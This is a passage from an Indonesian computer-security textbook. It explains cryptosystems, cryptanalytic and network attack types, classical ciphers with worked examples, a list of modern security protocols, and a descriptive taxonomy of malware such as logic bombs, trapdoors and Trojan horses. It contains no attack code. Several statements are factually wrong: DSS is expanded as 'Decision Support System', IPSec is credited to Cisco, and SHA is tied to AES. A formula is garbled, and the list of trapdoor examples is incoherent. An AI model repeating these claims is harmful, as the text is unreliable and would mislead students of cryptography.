suatu pesan. Jika sebuah pesan dikirim, penerima dapat membuktikan 

bahwa pesan ini  memang dikirim oleh pengirim yang tertera. 

Sebaliknya, jika sebuah pesan diterima, pengirim dapat membuktikan 

bahwa pesannya telah diterima oleh pihak yang ditujunya.

 

3.2 Cryptosystem 

Cryptographic system (kriptografi sistem) atau cryptosystem 

(kriptosistem) yaitu  suatu fasilitas untuk mengkonversikan plaintext ke 

ciphertext dan sebaliknya. Dalam sistem ini, seperangkat parameter yang 

menentukan transformasi pencipheran tertentu disebut suatu set kunci. Proses 

enkripsi dan dekripsi diatur oleh satu atau beberapa kunci kriptografi. 

 

3.3 Karakteristik Cryptosystem 

Karakteristik Cryptosystem yang baik: 

a. Keamanan sistem terletak pada kerahasiaan kunci dan bukan pada 

kerahasiaan algoritma yang digunakan. 

b. Cryptosystem yang baik memiliki ruang kunci (keyspace) yang besar. 

c. Cryptosystem yang baik akan menghasilkan ciphertext yang terlihat 

acak dalam seluruh tes statistik yang dilakukan terhadapnya. 

d. Cryptosystem yang baik mampu menahan seluruh serangan yang 

telah dikenal sebelumnya. 

 

3.4 Macam – Macam Cryptosystem 

1. Symmetric Cryptosystem 

Dalam symmetric cryptosystem ini, kunci yang digunakan untuk proses 

enkripsi dan dekripsi pada prinsipnya identik, tetapi satu buah kunci dapat pula 

diturunkan dari kunci yang lainnya. Kunci-kunci ini harus dirahasiakan. Oleh 

sebab  itulah sistem ini sering disebut sebagai secret-key ciphersystem. 

Jumlah kunci yang dibutuhkan umumnya yaitu  : 

n𝐶2

2

= 𝑛. (𝑛 − 1) 

dengan n menyatakan banyaknya pengguna.Contoh dari sistem ini yaitu  

Data Encryption Standard (DES), Blowfish, IDEA. 

 

2. Assymmetric Cryptosystem 

Dalam assymmetric cryptosystem ini digunakan dua buah kunci. Satu 

kunci yang disebut kunci publik (public key) dapat dipublikasikan, sedang 

kunci yang lain yang disebut kunci privat (private key) harus dirahasiakan. 

Proses memakai  sistem ini dapat diterangkan secara sederhana sebagai 

berikut : bila A ingin mengirimkan pesan kepada B, A dapat menyandikan 

pesannya dengan memakai  kunci publik B, dan bila B ingin membaca 


surat ini , ia perlu mendekripsikan surat itu dengan kunci privatnya. 

Dengan demikian kedua belah pihak dapat menjamin asal surat serta keaslian 

surat ini , sebab  adanya mekanisme ini. Contoh sistem ini antara lain 

RSA Scheme dan Merkle-Hellman Scheme. 

 

3.5 Protokol Criptosystem 

Cryptographic protocol yaitu  suatu protokol yang memakai  

kriptografi. Protokol ini melibatkan sejumlah algoritma kriptografi, namun 

secara umum tujuan protokol lebih dari sekedar kerahasiaan. Pihak-pihak 

yang berpartisipasi mungkin saja ingin membagi sebagian rahasianya untuk 

menghitung sebuah nilai, menghasilkan urutan random, atau pun 

menandatangani kontrak secara bersamaan. 

pemakaian  kriptografi dalam sebuah protokol terutama ditujukan untuk 

mencegah atau pun mendeteksi adanya eavesdropping dan cheating.11 

 

3.6 Jenis Penyerangan Pada Protokol 

Jenis – jenis penyerangan pada protocol, yaitu : 

a. Ciphertext-only attack. Dalam penyerangan ini, seorang cryptanalyst 

memiliki ciphertext dari sejumlah pesan yang seluruhnya telah dienkripsi 

memakai  algoritma yang sama. 

b. Known-plaintext attack. Dalam tipe penyerangan ini, cryptanalyst memiliki 

akses tidak hanya ke ciphertext sejumlah pesan, namun ia juga memiliki 

plaintext pesan-pesan ini . 

c. Chosen-plaintext attack. Pada penyerangan ini, cryptanalyst tidak hanya 

memiliki akses atas ciphertext dan plaintext untuk beberapa pesan, tetapi 

ia juga dapat memilih plaintext yang dienkripsi. 

d. Adaptive-chosen-plaintext attack. Penyerangan tipe ini merupakan suatu 

kasus khusus chosen- plaintext attack. Cryptanalyst tidak hanya dapat 

memilih plaintext yang dienkripsi, ia pun memiliki kemampuan untuk 

memodifikasi pilihan berdasarkan hasil enkripsi sebelumnya. Dalam 

chosen- plaintext attack, cryptanalyst mungkin hanya dapat memiliki 

plaintext dalam suatu blok besar untuk dienkripsi; dalam adaptive-

chosen-plaintext attack ini ia dapat memilih blok plaintext yang lebih kecil 

dan kemudian memilih yang lain berdasarkan hasil yang pertama, proses 

ini dapat dilakukannya terus menerus hingga ia dapat memperoleh 

seluruh informasi. 

e. Chosen-ciphertext attack. Pada tipe ini, cryptanalyst dapat memilih 

ciphertext yang berbeda untuk didekripsi dan memiliki akses atas 

plaintext yang didekripsi. 

f. Chosen-key attack. Cryptanalyst pada tipe penyerangan ini memiliki 

pengetahuan tentang hubungan antara kunci-kunci yang berbeda. 

g. Rubber-hose cryptanalysis. Pada tipe penyerangan ini, cryptanalyst 

mengancam, memeras, atau bahkan memaksa seseorang hingga mereka 

memberikan kuncinya. 

 

3.7 Jenis Penyerangan Pada Jalur Komunikasi 

Penyerangan pada jalur komunikasi, yaitu : 

a. Sniffing: secara harafiah berarti mengendus, tentunya dalam hal ini yang 

diendus yaitu  pesan (baik yang belum ataupun sudah dienkripsi) dalam 


suatu saluran komunikasi. Hal ini umum terjadi pada saluran publik yang 

tidak aman. Sang pengendus dapat merekam pembicaraan yang terjadi. 

b. Replay attack: Jika seseorang bisa merekam pesan-pesan handshake 

(persiapan komunikasi), ia mungkin dapat mengulang pesan-pesan yang 

telah direkamnya untuk menipu salah satu pihak. 

c. Spoofing: Penyerang – misalnya Maman – bisa menyamar menjadi Anto. 

Semua orang dibuat percaya bahwa Maman yaitu  Anto. Penyerang 

berusaha meyakinkan pihak-pihak lain bahwa tak ada salah dengan 

komunikasi yang dilakukan, padahal komunikasi itu dilakukan dengan 

sang penipu/penyerang. Contohnya jika orang memasukkan PIN ke 

dalam mesin ATM palsu – yang benar-benar dibuat seperti ATM asli – 

tentu sang penipu bisa mendapatkan PIN-nya dan copy pita magentik 

kartu ATM milik sang nasabah. Pihak bank tidak tahu bahwa telah terjadi 

kejahatan. 

d. Man-in-the-middle: Jika spoofing terkadang hanya menipu satu pihak, 

maka dalam skenario ini, saat Anto hendak berkomunikasi dengan Badu, 

Maman di mata Anto seolah-olah yaitu  Badu, dan Maman dapat pula 

menipu Badu sehingga Maman seolah-olah yaitu  Anto. Maman dapat 

berkuasa penuh atas jalur komunikas ini, dan bisa membuat berita fitnah. 

 

3.8 Metode Kriptografi 

3.8.1 Metode kuno 

a. 475 S.M. bangsa Sparta, suatu bangsa militer pada jaman Yunani kuno, 

memakai  teknik kriptografi yang disebut scytale, untuk kepentingan 

perang. Scytale terbuat dari tongkat dengan papyrus yang 

mengelilinginya secara spiral. Kunci dari scytale yaitu  diameter 

tongkat yang digunakan oleh pengirim harus sama dengan diameter 

tongkat yang dimiliki oleh penerima pesan, sehingga pesan yang 

disembunyikan dalam papyrus dapat dibaca dan dimengerti oleh 

penerima. 

 

Gambar 3.1 Scytale 

 

b. Julius Caesar, seorang kaisar terkenal Romawi yang menaklukkan 

banyak bangsa di Eropa dan Timur Tengah juga memakai  suatu 

teknik kriptografi yang sekarang disebut Caesar cipher untuk 

berkorespondensi sekitar tahun 60 S.M. Teknik yang digunakan oleh 

Sang Caesar yaitu  mensubstitusikan alfabet secara beraturan, yaitu 

20 

 

oleh alfabet ketiga yang mengikutinya, misalnya, alfabet ‘’A" digantikan 

oleh "D", "B" oleh "E", dan seterusnya. 

 

Gambar 3.2 Julius Caesar 

 

3.8.2 Metode Modern 

a. Digital Certificate Server (DCS) 

1) verifikasi untuk digital signature 

2) autentikasi user 

3) memakai  public dan private key 

contoh : Netscape Certificate Server  

b. IP Security (IPSec) 

1) enkripsi public/private key 

2) dirancang oleh CISCO System 

3) memakai  DES 40-bit dan authentication 

4) built-in pada produk CISCO 

5) solusi tepat untuk Virtual Private Network (VPN) dan Remote 

Network Access 

c. Secure Shell (SSH) 

1) digunakan untuk client side authentication antara 2 sistem 

2) mendukung UNIX, windows, OS/2 

3) melindungi telnet dan ftp (file transfer protocol) 

d. Secure Socket Layer (SSL) 

1) dirancang oleh Netscape 

2) menyediakan enkripsi RSA pada layes session dari model OSI. 

3) independen terhadap servise yang digunakan. 

4) melindungi system secure web e-commerce 

5) metode public/private key dan dapat melakukan authentication 

6) terintegrasi dalam produk browser dan web server Netscape. 

e. Security Token 

aplikasi penyimpanan password dan data user di smart card 

f. Simple Key Management for Internet Protocol 

1) seperti SSL bekerja pada level session model OSI. 

2) menghasilkan key yang static, mudah bobol. 

g. MD5 

1) dirancang oleh Prof. Robert Rivest (RSA, MIT) tahun 1991 

2) menghasilkan 128-bit digest. 

3) cepat tapi kurang aman 

h. Secure Hash Algoritm (SHA) 

1) dirancang oleh National Institute of Standard and Technology 

(NIST) USA. 

2) bagian dari standar DSS(Decision Support System) USA dan 

bekerja sama dengan DES untuk digital signature. 

3) SHA-1 menyediakan 160-bit message digest 

4) Versi : SHA-256, SHA-384, SHA-512 (terintegrasi dengan AES)  

i. RSA Encryption 

 

1) dirancang oleh Rivest, Shamir, Adleman tahun 1977 

2) standar de facto dalam enkripsi public/private key 

3) didukung oleh Microsoft, apple, novell, sun, lotus 

4) mendukung proses authentication 

5) multi platform  

j. Remote Access Dial-in User Service (RADIUS) 

1) multiple remote access device memakai  1 database untuk 

authentication 

2) didukung oleh 3com, CISCO, Ascend 

3) tidak memakai  encryption  

k. Point to point Tunneling Protocol(PPTP), Layer Two Tunneling 

Protocol (L2TP) 

1) dirancang oleh Microsoft 

2) autentication berdasarkan PPP(Point to point protocol) 

3) enkripsi berdasarkan algoritm Microsoft (tidak terbuka) 

4) terintegrasi dengan NOS Microsoft (NT, 2000, XP)  

l. Kerberos 

1) solusi untuk user authentication 

2) dapat menangani multiple platform/system 

3) free charge (open source) 

4) IBM menyediakan versi komersial : Global Sign On (GSO)  

m. Advanced Encryption Standard (AES) 

1) untuk menggantikan DES (launching akhir 2001) 

2) memakai  variable length block chipper 

3) key length : 128-bit, 192-bit, 256-bit 

4) dapat diterapkan untuk smart card.11 

 

 

TEKNIK KRIPTOGRAFI KUNO I  

 

 

4.1 Teknik Kriptografi Klasik/Kuno I 

(idokeren 2018) Kriptografi klasik/kuno merupakan Teknik subtisusi yaitu 

penggantian setiap karakter teks asli dengan karakter lainya, salah satu teknik 

subtisusi pada kriptografi Klasik/Kuno  yaitu  kode kaisar, yang beradaptasi 

pada pemakaian  ‘ Roda Kaisar’. 

4.1.1 Monoalphabet 

Perhatikan alphabet plaintext dibawah ini 

 

Gambar 4.1 Contoh Monoalphabet 

 

Misal, Jika penggeseran yang dilakukan sebanyak 3 kali maka kunci untuk 

deskripsinya yaitu  3. Maka susunan huruf untuk ciphertext yaitu : 

 

Gambar 4.2 Contoh Monoalphabet 

 

Contoh Tentukan chipper text dari plaintext ‘ K R I  P T O G R A F I ‘! 

Plaintext : K  R  I   P  T  O  G  R  A  F  I 

Ciphertext : N  U  L  S  W  R  J  U  D   I  L 

 

4.1.2 Polyalphabet 

Merupakan gagasan baru dalam perkembangan kode kaisar untuk 

memakai  kunci laian yang di sebut Polyalphabetic. Teknik ini cenderung 

memakai  kunci berupa huruf dan tidak ada pengunaan huruf yang di 

ulang. pemakaian  tidak hanya dengan satu kunci tetapi bisa mengunakan 

lebih dari satu kunci. 

1. Satu kunci 

Plaintext : B E L A J A R     K R I P T O G R A F I 

Kunci : M E R D E K A 

 

Gambar 4.3 Contoh Polyalphabet 1 Kunci 

 

Ciphertext : E K I M G M Q  H Q F O T N B Q M A F 

2. Dua Kunci 

Plaintext : B E L A J A R      K R I P T O G R A F I 

Kunci 1 : MERDEKA 

Kunci 2 : INDONESIA 

23 

 

 

Gambar 4.4 Contoh Polyalphabet 2 Kunci 

 

Ciphertext : EGCJAJP BPSLTKNPJIS 

 

3. Tiga Kunci 

Plaintext  : CEGAH PEGAWAI KPK 

Kunci 1 : MERDEKA 

Kunci 2  : INDONESIA 

Kunci 3 : PUTIH MERAH 

 

Gambar 4.5 Contoh Polyalphabet 3 Kunci 

 

Ciphertext  : LEGBIDEGBWBOUDU 

 

 

5.1 Teknik Kriptografi Klasik/Kuno II 

(Kriptografi 2020) Metode dengan memakai  lebih dari satu kunci terdiri 

dari 3 bagian yaitu blok, karakter, dan zigzag: 

 

5.1.1 Blok 

Membagi jumlah teks-asli menjadi blok-blok yang ditentukan, tergantung dari 

keinginan pengirim pesan. 

 

24 

 

Plaintext : PERHATIKAN RAKYAT KECIL  

Kunci 1 : M E R D E K A  

Kunci 2 : I N D O N E S I A  

Kunci 3 : P U T I H M E R A H  

 

Plaintext diatas akan dibagi menjadi 6 blok dengan masing-masing karakter 

terdiri dari 4 karakter. sebab  blok yang keenam tidak mencukupi maka 

ditambahkan dengan karakter‘X’ atau karakter lain yang ditentukan. 

 

 

Gambar 5.1 Contoh Plaintext 6 Blok 

 

 

Gambar 5.2 Contoh Metode Blok Kunci 1,2,3 

 

Maka ciphertext yang dihasilkan :  

OKQCITCGPGNPHYMTGEDCDXXX 

 

Gambar 5.3 Hasil Ciphertext dari Metode Blok 

 

5.1.2 Karakter 

Metode ini yaitu  memakai  pendistribusian perkarakter. Perhatikan 

contoh dibawah ini:  

 

Plaintext  : PERHATIKAN RAKYAT KECIL  

K1  : M E R D E K A  

K2  : I N D O N E S I A  

K3  : P U T I H M E R A H  

Metode    : Karakter 

 

 

 

Gambar 5.4 Contoh Kunci(k)1,2,3 Metode Karakter 

 

Maka cara menentukan ciphertextnya sebagai berikut: 

 

 

Gambar 5.5 Hasil Ciphertext Metode Karakter 

 

Ciphertext : OENCIQFGPLQPHYPTGHRCD 

 

5.1.3 Zigzag 

Metode ini dengan menentukan ciphertext dari plaintext pada kunci 1 (K1) 

kemudian mencari huruf yang sama hasil dari ciphertext K1 ke chipertext K2 

dan mengambil plaintext dari ciphertext K2 untuk selanjutnya mencari huruf 

yang sama, hasil dari plaintext K2 dengan huruf ciphertext pada K3 dan 

plaintext pada ciphertext K3 ini  yang diambil menjadi ciphertext akhir. 

Perhatikan contoh dibawah ini:  

 

Plaintext  : PERHATIKAN RAKYAT KECIL  

K1  : M E R D E K A  

K2  : I N D O N E S I A  

K3  : P U T I H M E R A H  

Metode   : Zigzag 

 

 

Gambar 5.6 Contoh Kriptografi Metode Zigzag 

 


Ciphertext : LRHDACOQASHAQYACQRUOI 

 

5.1.4 Kode Geser 

Ada metode lain selain memakai  kode geser yang diterapkan kode kaisar 

mono-alphabet, yaitu dengan memakai  kode kunci berupa angka bukan 

banyaknya pergeseran. 

 

 

Gambar 5.7 Contoh Kriptografi Metode Kode Geser 

 

Perhatikan contoh dibawah ini:  

Plaintext  : PERHATIKAN RAKYAT KECIL  

Kalimat diatas jika diubah menjadi angka sebagai berikut: 

 

 

Gambar 5.8 Contoh Metode Kode Geser ke Angka 

 

Kode Kunci : 11  

Caranya dengan menambahkan masing-masing angka plaintext dengan kode 

kunci 11, maka didapatkan: 

 

 

Gambar 5.9 Hasil kriptografi metode kode geser 

 

Catatan jika ketika dijumlahkan hasilnya lebih dari 26, maka akan dikurangi 

26. Misalnya: 24 + 11 = 35 – 26 = 9. Selanjutnya hasil penjumlahan dikonversi 

menjadi huruf sesuai dengan nilai standar setiap huruf.  

 

Ciphertext : APCSLETVLYCLVJLEVPNTW 

 

5.2 Teknik Kriptografi Klasik/Kuno III 

5.2.1 Kode Vigenere 

(idokeren 2018) Merupakan kode  abjad-majemuk. Teknik dari subtitusi 

vigenere bisa dilakukan dengan 2 cara yaitu angka dan huruf.Teknik ini cukup 

mudah dipahami dan di aplikasikan.teknik ini di kenalkan oleh seorang 

kriptologis berkebangsaan perancis Blaise De Vigenere pada abad 16 ( 1586 

),  dan teknik ini baru terkenal 200 tahun setelahnya yang kemudian dikenal 

dengan Code Vigenere. 

Kode vigener yang di gunakan oleh tentara konfederasi ( Confederate 

Army ) pada perang sipil amerika (  American civil War ). Kode vigenere 

berhasil di enkripsi oleh Babbage dan Kasiski pada abad 19 pertengahan. 12 

 

1. Angka 


 

Teknik ini hampir sama dengan kode geser, hanya saja pada vigenere angka 

caranya dilakukan dengan menukarkan huruf dengan angka dan 

memakai  kode kunci berupa kumpulan angka yang sudah ditentukan. 

 

Gambar 5.10 Contoh Kode Vigenere (Angka) 

 

Perhatikan contoh dibawah ini:  

Plaintext  : PERHATIKAN RAKYAT KECIL  

Kunci  : (2, 8, 7, 15, 4) 

 

Gambar 5.11 Hasil Kriptografi Kode Vigener (Angka) 

 

2. Huruf 

Pada teknik huruf memakai  tabula recta ( bujur sangkar vigenere) 

dengan pola dibawah ini: 

 

Gambar 5.12 Contoh Polatabula Recta 

 

Contoh : 

Plaintext  : PERHATIKAN RAKYAT KECIL  

Kunci  : I N D O N E S I A  

 

 


 

Maka cara menentukan chipertext-nya yaitu : 

 

 

Gambar 5.13 Hasil Kriptografi Kode Vigener (Huruf) 

 

Ciphertext : XRUVNXASAVEDYLELSEKVO 

5.2.2 Kode Playfair 

Ditemukan oleh Sir Charles Wheatstone dan Baron Lyon Playfair pada 

tahun 1854. Cipher ini mengenkripsi pasangan huruf (digram atau digraf), 

bukan huruf tunggal seperti pada cipher klasik lainnya. Tujuannya yaitu  

untuk membuat analisis frekuensi menjadi sangat sulit sebab frekuensi 

kemunculan huruf-huruf di dalam cipherteks menjadi datar (flat). 

Kunci kriptografinya 25 buah huruf yang disusun di dalam bujursangkat 5x5 

dengan menghilangkan huruf J dari abjad.13 

 

Dan matriks yang digunakan yaitu : 

 

 

Gambar 5.14 Tabel Matriks Bujusangkar Kode Playfair 

 

Ada beberapa aturan dalam melakukan enkripsi dengan kode playfair yaitu:  

1. Karakter yang ada pada plaintext dibagi menjadi masing-masing 2 

karakter. 

2. Jika kedua huruf/ karakter tidak terletak pada satu baris atau kolom maka 

pergerakan karakter dimulai dari huruf kedua secara vertical menuju teks-

kode. Contoh: karakter ‘di’ terdapat pada baris dan kolom yang berbeda 

maka dimulai dari ‘I’ tarik secara vertikal menuju baris yang terdapat huruf 

‘d’ sebanyak 2 baris maka akan ditemukan ‘n’, selanjutnya ‘d’ ditarik 

vertical menuju baris yang terdapat ‘I’ sehingga didapatkan ‘L’. 

 

 

Gambar 5.15 Tabel Matriks Bujusangkar Kode Playfair 

 

3. Jika karakter-karakter yang dienkripsi atau deskripsi berada pada kolom 

atau baris yang sama dan saling berdekatan maka gunakan prinsip 

kebawah atau kesamping. Contoh karakter ‘an’, maka karakter disamping 

‘n’ yaitu  ‘d’ dan karakter disamping ‘a’ yaitu  ‘n’ maka ciphertextnya 

yaitu  ‘dn’. 


 

 

 

Gambar 5.16 Tabel Matriks Bujusangkar Kode Playfair 

 

4. Jika karakter yang dienkripsi berada pada akhir baris maka diikuti aturan 

no 3 diatas, tetapi pada kasus baris terakhir maka karakter yang diambil 

yaitu  karakter yang disamping yaitu karakter pertama pada baris 

selanjutnya. 

 

 

Gambar 5.17 Tabel Matriks Bujusangkar Kode Playfair 

 

5. Jika terdapat karakter kembar maka cukup ditambahkan karakter yang 

disepakati misalnya karakter ‘aa’ disepakati untuk disisipkan dengan 

karakter ‘z’ maka chipertext ‘aza’. 

6. Untuk kepentingan analisis kode playfair maka aturan no 2 disebut ERDL 

(Encipher Right Decihper Left), aturan no 3 dan 4 disebut EBDA 

(Encipher Below Decipher Above). 

 

Contoh: Belajarlah Cepat 

 

 

Gambar 5.18 Tabel Matriks Bujusangkar Kode Playfair 

 

sebab  pada akhir tidak terdapat 2 karakter maka untuk melengkapi di 

tambahkan karakter yang disepakati. 

 

TEKNIK TRANSPOSISI DAN ONE TIME PAD 

 

 

6.1 Teknik Kriptografi Transposisi dan One Time Pad 

Kriptografi yaitu  ilmu mengenai teknik enkripsi dimana “naskah asli” 

(plaintext) diacak memakai  suatu kunci enkripsi menjadi “naskah acak 

yang sulit dibaca” (ciphertext) oleh seseorang yang tidak memiliki kunci 

dekripsi. Dekripsi memakai  kunci dekripsi bisa mendapatkan kembali 

data asli. Probabilitas mendapat kembali naskah asli oleh seseorang yang 

tidak mempunyai kunci dekripsi dalam waktu yang tidak terlalu lama yaitu  

sangat kecil. 

Teknik enkripsi yang digunakan dalam kriptografi klasik yaitu  enkripsi 

simetris dimana kunci dekripsi sama dengan kunci enkripsi. Untuk public key 

cryptography, diperlukan teknik enkripsi asimetris dimana kunci dekripsi tidak 

sama dengan kunci enkripsi. Enkripsi, dekripsi dan pembuatan kunci untuk 

teknik enkripsi asimetris memerlukan komputasi yang lebih intensif 

dibandingkan enkripsi simetris, sebab  enkripsi asimetris memakai  

bilangan – bilangan yang sangat besar. 

 

6.1.1 Teknik Transposisi 

Metode penyandian transposisi yaitu  metode penyandian dengan cara 

mengubah letak dari teks pesan yang akan disandikan. Untuk membaca 

pesan aslinya kembali, cukup dengan mengembalikan letak dari pesan 

ini  berdasarkan kunci dan algoritma pergeseran huruf yang telah 

disepakati. 

 

Sebelumnya sudah dijelaskan bahwa metode kuno/ klasik terdiri dari 2 teknik 

yaitu:  

1. Teknik Subtitusi, contoh: kode kaisar (geser, monoalphabet, 

polyalphabet, playfair, dan lainnya)  

2. Teknik Permutasi, contoh: kode transposisi. 

Teknik ini memakai  permutasi karakter, yang mana dengan 

memakai  teknik ini pesan asli tidak dapat dibaca kecuali oleh orang yang 

memiliki kunci untuk mengembalikan pesan ini  ke bentuk semula. 

 

Sebagai contoh, ada 6 kunci untuk melakukan permutasi kode: 

 

Gambar 6.1 Kunci Permutasian Kode 

 

Dan 6 kunci untuk inversi dari permutasi ini :  

Gambar 6.2 Kunci Inversi dari Permutasian Kode 

 

Terlebih dahulu plaintext dibagi menjadi beberapa blok dan tiap blok nya terdiri 

dari 6 karakter, jika terjadi kekurang pada setiap blok maka disisipkan karakter 

yang disepakati sebelumnya.  

 

 

Perhatikan contoh dibawah ini:  

Plaintext : PERHATIKAN RAKYAT KECIL  

Cara memutasi plaintext, yaitu : 

 

Gambar 6.3 Hasil Teknik Transposisi permutasian kode 

 

Ciphertext : RAPTHEARIANKAKKETYLXCXXI  

 

Sedangkan kunci inverse berfungsi untuk mengubah ciphertext menjadi 

plaintext.  

 

Perhatikan contoh dibawah ini: 

 

Gambar 6.4 Hasil Plaintext Transposisi Permutasian 

 

Selain teknik mutasi-inversi ada beberapa teknik permutasi lainnya yaitu 

dengan memakai  permutasi zigzag, segitiga, spiral, dan diagonal.  

1. Zig-zag Dengan memasukan plaintext seperti pola zig-zag.  

Plaintext: PERHATIKAN RAKYAT KECIL 

 

Gambar 6.5 Contoh Teknik Permutasian Pola Zigzag 

 

Ciphertext : HNTXRAARAKLETKAYEIPIKC 

 

2. Segitiga Dengan memasukan plaintext sepeti pola segitiga.  

Plaintext: PERHATIKAN RAKYAT KECIL 

 

Gambar 6.6. Contoh Teknik Permutasian Pola Segitiga 

 

Ciphertext : KNEARCETAIPRIKLHKYXAAXTXX 

 

3. Spiral Dengan memasukan plaintext disusun seperti pola spiral.  

Plaintext: PERHATIKAN RAKYAT KECIL 

 


 

Gambar 6.7 Contoh Teknik Permutasian Pola Sprial 1 

 

Ciphertextnya : PTAYKEKXXAREXXRHCILNATIKA 

4. Diagonal Dengan memasukan plaintext disusun seperti pola dibawah ini. 

Plaintext: PERHARTIKAN RAKYAT KECIL 

 

 

Gambar 6.8 Contoh Teknik Permutasian Pola Spiral 2 

 

Ciphertextnya : PTRTLEIAKXRKKEXHAYCXANAIX 

 

6.1.2 One Time Pad 

Pada umumnya algoritma kriptografi tidaklah sempurna, tetapi untuk 

mendapatkan algoritma yang lebih baik dan mempunyai sedikit kemunngkinan 

untuk dipecahkan yaitu  one time pad (OTP). Salah satu konsep OTP yaitu  

dengan memakai  enkripsi super. Contoh pada metode ini yaitu : 

 

Plaintext : PERHATIKAN RAKYAT KECIL 

1. memakai  teknik subtitusi dengan algoritma kode geser sebanyak 7. 

 

Gambar 6.9 Teknik One Time Pad geser 7 

 

Ciphertext dari hasil teknik subtitusi di ubah menjadi ciphertext dengan teknik 

transposisi. 

 

2. memakai  teknik transposisi dengan teknik diagonal dengan kunci 5 x 

5. 

 

 

Gambar 6.10 Teknik One Time Pad diagonal 5x5 

 

Ciphertext : VZXZRKOGQXXQQKXNGEIXGTGOX. 

 

Teknik dari enkripsi super sangat penting dan banyak dari algoritma enkripsi 

modern yang memakai  teknik ini sebagai dasar pembuatan suatu 

algoritma modern. 

 

KEAMANAN DARI DEVIL PROGRAM 

 

 

7.1 Keamanan Devil Program 

Devil Program yaitu  Program ada yang memerlukan inang  (host program) 

dan ada yang tidak memerlukan program inang. 

 

Klasifikasi program jahat (Malicious Program) 

1. Program-program yang memerlukan program inang (host program). 

Fragmen program tidak dapat mandiri secara independen dari suatu 

program aplikasi, program utilitas atau program sistem.  

2. Program-program yang tidak memerlukan program inang. Program 

sendiri yang dapat dijadwalkan dan dijalankan oleh sistem operasi. 

 

7.2 Tipe Tipe Program Jahat 

7.2.1. Bacteria 

program yang mengkonsumsi sumber daya sistem dengan mereplikasi 

dirinya sendiri. Bacteria tidak secara eksplisit merusak file. Tujuan program ini 

hanya satu yaitu mereplikasi dirinya. Program bacteria yang sederhana bisa 

hanya mengeksekusi dua kopian dirinya secara simultan pada sistem 

multiprogramming atau menciptakan dua file baru, masing-masing yaitu  

kopian file program bacteria. Kedua kopian in kemudian mengkopi dua kali, 

danseterusnya. 

 

7.2.2. Logic Bomb 

Dalam program komputer, logic bomb, juga disebut slag code, yaitu  kode 

pemrograman, yang dimasukkan secara diam-diam atau sengaja, yang 

dirancang untuk di eksekusi (atau “meledak”). Sama halnya seperti bom yang 

memiliki selang waktu tertentu,  atau kegagalan pengguna untuk menanggapi 

perintah program, ini virus komputer yang bisa berbentuk Trojan 

horse atau malware ransomware. 

logik yang ditempelkan pada program komputer agar memeriksa suatu 

kumpulan kondisi di sistem. Ketika kondisi-kondisi yang dimaksud ditemui, 

logik mengeksekusi suatu fungsi yang menghasilkan aksi-aksi takdiotorisasi. 

a. Logic bomb menempel pada suatu program resmi yang diset meledak 

ketika kondisi- kondisi tertentudipenuhi. 

b. Contoh kondisi-kondisi untuk memicu logic bomb yaitu  ada atau tudak 

adanya file-file tertentu, hari tertentu daru minggu atau tanggal, atau 

pemakai menjalankan aplikasi tertentu. Begitu terpicu, bomb mengubah 

atau menghapus data atau seluruh file, menyebabkan mesin terhenti, 

atau mengerjakan perusakanlain. 

 

7.2.3. Trapdoor 

Trapdoor yaitu  jebakan yang digunakan untuk menjebak administrator 

agar menjalankan perintah tertentu yang nantinya dengan perintah ini  

penyusup bisa mendapatkan jalan untuk mendapatkan previlege 

root. Trapdoor yaitu  kode yang menerima suatu barisan masukan khusus 

atau dipicu dengan menjalankan ID pemakai tertentu atau barisan kejahatan 


 

tertentu.  Trapdoor telah dipakai secara benar selama bertahun-tahun oleh 

pemogram untuk mencari kesalahan program. Debugging dan testing 

biasanya dilakukan pemogram saat mengembangkan aplikasi. 

 

Cara Kerja Trapdoor 

Sistem login trapdoor mungkin mengambil bentuk kombinasi pengguna dan 

kata sandi keras yang memberikan akses ke sistem. 

Contoh: 

1. Semacam trap digunakan sebagai perangkat plot / versi browser baru 

untuk menekan kelaparan sebab  beban kerja di browser. 

2. Mode simulasi permainan video dan interaksi langsung dengan 

kecerdasan buatan 

3. Meskipun jumlah trapdoor dalam sistem yang memakai  perangkat 

lunak (perangkat lunak yang kode sumbernya tidak tersedia untuk umum) 

tidak secara luas dikreditkan, namun sering terinfeksi. Programmer 

bahkan berhasil secara diam-diam memasang kode jinak dalam jumlah 

besar sebagai hadiah dalam program, meskipun kasus semacam itu 

mungkin melibatkan instansi resmi, jika bukan izin sebenarnya. 

4. Permintaan Apps / Games di facebook digunakan untuk meminta Anda 

MENGIZINKAN aplikasi untuk mengakses informasi Anda untuk diproses 

lebih lanjut, sebagian besar orang hanya MENGIZINKAN Aplikasi / 

Permintaan untuk mengakses informasi di sana. 

 

7.2.4. Trojan Horse 

Istilah ini pertama kali muncul pada sebuah laporan Angkatan Udara AS, 

yang menganalisis kerentanan komputer pada tahun 1974. Di tahun 1983, 

frasa ini  semakin meluas setelah Ken Thompson memakai nya 

dalam ceramah Turing yang terkenal, yang mana dia menyatakan: 

“Sampai sejauh mana seseorang harus mempercayai pernyataan bahwa 

suatu program terbebas dari Trojan? Yang mungkin lebih penting dipercaya: 

orang-orang yang menulis perangkat lunaknya.” 

Selama kurun waktu 1980-an, the Bulletin Board System—yang 

memungkinkan pengguna menembus web melalui saluran telepon—

mengakibatkan peningkatan malware Trojan. Ketika komputer sudah dibekali 

kemampuan untuk mengunggah, mengunduh, dan berbagi file, add-on 

berbahaya disisipkan ke sistem operasi. Hari ini, terdapat ribuan versi 

malware. 

Rutin tak terdokumentasi rahasia ditempelkan dalam satu program berguna. 

Program yang berguna mengandung kode tersembunyi yang ketika dijalankan 

melakukan suatu fungsi yang tak diinginkan. Eksekusi program menyebabkan 

eksekusi rutin rahasia ini. 

1. Program-program trojan horse digunakan untuk melakukan fungsi-fungsi 

secara tidak langsung dimana pemakai tak diotorisasi tidak dapat 

melakukannya secara langsung. Contoh, untuk dapat mengakses file-file 

pemakai lain pada sistem dipakai bersama, pemakai dapat menciptakan 

program trojan horse. 

2. Trojan horse ini ketika program dieksekusi akan mengubah ijin-ijin file 

sehinga file-file dapat dibaca oleh sembarang pemakai. Pencipta program 

dapat menyebarkan ke pemakai- pemakai dengan menempatkan 


 

program di direktori bersama dan menamai programnya sedemikian rupa 

sehingga disangka sebagai program utilitas yang berguna. 

3. Program trojan horse yang sulit dideteksi yaitu  kompilator yang 

dimodifikasi sehingga menyisipkan kode tambahan ke program-program 

tertentu begitu dikompilasi, seperti program login. Kode menciptakan 

trapdoor pada program login yang mengijinkan pencipta log ke sistem 

memakai  password khusus. Trojan horse jenis ini tak pernah dapat 

ditemukan jika hanya membaca program sumber. Motivasi lain dari trojan 

horse yaitu  penghancuran data. Program muncul sebagai melakukan 

